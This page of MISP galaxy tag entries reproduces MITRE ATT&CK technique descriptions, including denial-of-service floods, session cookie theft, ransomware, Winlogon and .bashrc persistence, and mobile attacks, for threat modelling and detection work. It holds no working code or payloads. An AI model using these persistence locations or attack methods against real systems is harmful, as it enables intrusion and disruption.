After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)
The tag is: misp-galaxy:mitre-attack-pattern="Post compromise tool development - T1353"
Links |
Standard Application Layer Protocol - T1437
Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.
In the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. Google reportedly responds to reports of abuse by blocking access to GCM.(Citation: Kaspersky-MobileMalware)
The tag is: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html |
Build or acquire exploits - T1349
An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)
The tag is: misp-galaxy:mitre-attack-pattern="Build or acquire exploits - T1349"
Links |
Create infected removable media - T1355
Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)
The tag is: misp-galaxy:mitre-attack-pattern="Create infected removable media - T1355"
Links |
Steal Web Session Cookie - T1539
An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.
Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)
There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Mauraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)
After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application.
The tag is: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539"
Links |
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ |
Targeted social media phishing - T1366
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)
The tag is: misp-galaxy:mitre-attack-pattern="Targeted social media phishing - T1366"
Links |
Modify Trusted Execution Environment - T1399
If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device’s Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)
The tag is: misp-galaxy:mitre-attack-pattern="Modify Trusted Execution Environment - T1399"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html |
https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf |
Masquerade as Legitimate Application - T1444
An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.
Embedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it.(Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.
Pretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description.(Citation: Palo Alto HenBox)
The tag is: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444"
Premium SMS Toll Fraud - T1448
A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary(Citation: Lookout-SMS).
On iOS, apps cannot send SMS messages.
On Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).
The tag is: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448"
Links |
https://blog.lookout.com/10-organizations-build-60-of-russian-toll-fraud-malware |
Downgrade to Insecure Protocols - T1466
An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.
The tag is: misp-galaxy:mitre-attack-pattern="Downgrade to Insecure Protocols - T1466"
Links |
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html |
http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf |
Rogue Cellular Base Station - T1467
An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique(Citation: Computerworld-Femtocell).
The tag is: misp-galaxy:mitre-attack-pattern="Rogue Cellular Base Station - T1467"
Links |
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html |
Data Encrypted for Impact - T1486
Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)
To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"
Links |
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html |
Exploit via Radio Interfaces - T1477
The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.
Baseband Vulnerability Exploitation
A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi(Citation: ProjectZero-BroadcomWiFi) or other) to the mobile device could exploit a vulnerability in code running on the device(Citation: Register-BaseStation)(Citation: Weinmann-Baseband).
Malicious SMS Message
An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).
The tag is: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477"
Network Denial of Service - T1498
Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)
A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). Many different methods to accomplish such network saturation have been observed, but most fall into two main categories: Direct Network Floods and Reflection Amplification.
To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.
Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.
Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)
For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).
Direct Network Flood
Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service’s network. Almost any network protocol may be used for Direct Network Floods. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.
Reflection Amplification
Adversaries may amplify the volume of their attack traffic by using Reflection. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)
Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)
The tag is: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498"
Endpoint Denial of Service - T1499
Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)
An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).
To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.
Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.
Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target’s resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)
In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)
For attacks attempting to saturate the providing network, see the Network Denial of Service Technique [Network Denial of Service](https://attack.mitre.org/techniques/T1498).
OS Exhaustion Flood
Since operating systems (OSs) are responsible for managing the finite resources on a system, they can be a target for DoS. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018)
SYN Flood
With SYN floods excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)
ACK Flood
ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)
Service Exhaustion Flood
Different network services provided by systems are targeted in different ways to conduct a DoS. Adversaries often target DNS and web servers, but other services have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.
Simple HTTP Flood
A large number of HTTP requests can be issued to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)
SSL Renegotiation Attack
SSL Renegotiation Attacks take advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)
Application Exhaustion Flood
Web applications that sit on top of web server stacks can be targeted for DoS. Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)
Application or System Exploitation
Software vulnerabilities exist that when exploited can cause an application or system to crash and deny availability to users.(Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.
The tag is: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499"
Push-notification client-side exploit - T1373
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
A technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)
The tag is: misp-galaxy:mitre-attack-pattern="Push-notification client-side exploit - T1373"
Links |
Exploit Public-Facing Application - T1190
The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).
If an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies.
For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)
The tag is: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"
Links |
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project |
Untargeted client-side exploitation - T1370
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)
The tag is: misp-galaxy:mitre-attack-pattern="Untargeted client-side exploitation - T1370"
Links |
Two-Factor Authentication Interception - T1111
Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.
If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)
Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user’s personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)
Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)
The tag is: misp-galaxy:mitre-attack-pattern="Two-Factor Authentication Interception - T1111"
Links |
https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx |
Host-based hiding techniques - T1314
Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)
The tag is: misp-galaxy:mitre-attack-pattern="Host-based hiding techniques - T1314"
Links |
Network-based hiding techniques - T1315
Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)
The tag is: misp-galaxy:mitre-attack-pattern="Network-based hiding techniques - T1315"
Links |
Targeted client-side exploitation - T1371
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user’s computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)
The tag is: misp-galaxy:mitre-attack-pattern="Targeted client-side exploitation - T1371"
Links |
Insecure Third-Party Libraries - T1425
Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.
For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Insecure Third-Party Libraries - T1425"
Insecure Third-Party Libraries - T1425 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
Links |
Exploit public-facing application - T1377
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)
The tag is: misp-galaxy:mitre-attack-pattern="Exploit public-facing application - T1377"
Links |
.bash_profile and .bashrc - T1156
<code>~/.bash_profile</code> and <code>~/.bashrc</code> are shell scripts that contain shell commands. These files are executed in a user’s context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the <code>~/.bash_profile</code> script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the <code>~/.bashrc</code> script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment.
The macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.
Adversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware).
The tag is: misp-galaxy:mitre-attack-pattern=".bash_profile and .bashrc - T1156"
Links |
Identify business processes/tempo - T1280
Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)
The tag is: misp-galaxy:mitre-attack-pattern="Identify business processes/tempo - T1280"
Links |
Windows
Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Mac
On Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.
Linux
On Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.
The tag is: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033"
Links |
Disguise Root/Jailbreak Indicators - T1408
An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).
The tag is: misp-galaxy:mitre-attack-pattern="Disguise Root/Jailbreak Indicators - T1408"
Links |
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html |
https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf |
http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf[http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf] |
Obtain templates/branding materials - T1281
Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)
The tag is: misp-galaxy:mitre-attack-pattern="Obtain templates/branding materials - T1281"
Links |
Research relevant vulnerabilities/CVEs - T1291
Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)
The tag is: misp-galaxy:mitre-attack-pattern="Research relevant vulnerabilities/CVEs - T1291"
Links |
Conduct cost/benefit analysis - T1226
Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)
The tag is: misp-galaxy:mitre-attack-pattern="Conduct cost/benefit analysis - T1226"
Links |
Assess KITs/KIQs benefits - T1229
Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.
The tag is: misp-galaxy:mitre-attack-pattern="Assess KITs/KIQs benefits - T1229"
Links |
Determine approach/attack vector - T1245
The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)
The tag is: misp-galaxy:mitre-attack-pattern="Determine approach/attack vector - T1245"
Links |
Mine technical blogs/forums - T1257
Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)
The tag is: misp-galaxy:mitre-attack-pattern="Mine technical blogs/forums - T1257"
Links |
Unused/Unsupported Cloud Regions - T1535
Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.
Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.
A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. For example, AWS GuardDuty is not supported in every region.(Citation: AWS Region Service Table)
An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)
The tag is: misp-galaxy:mitre-attack-pattern="Unused/Unsupported Cloud Regions - T1535"
Links |
https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/ |
https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc |
Obtain booter/stressor subscription - T1396
Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)
The tag is: misp-galaxy:mitre-attack-pattern="Obtain booter/stressor subscription - T1396"
Links |
Application Window Discovery - T1010
Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.
In Mac, this can be done natively with a small [AppleScript](https://attack.mitre.org/techniques/T1155) script.
The tag is: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010"
Links |
Winlogon Helper DLL - T1004
Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)
-
Winlogon\Notify - points to notification package DLLs that handle Winlogon events
-
Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
-
Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.
The tag is: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004"
Links |
https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order |
Modify System Partition - T1400
If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.
Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.
The tag is: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html |
Compile After Delivery - T1500
Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)
Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)
The tag is: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500"
Links |
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf |
System Service Discovery - T1007
Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), and "net start" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
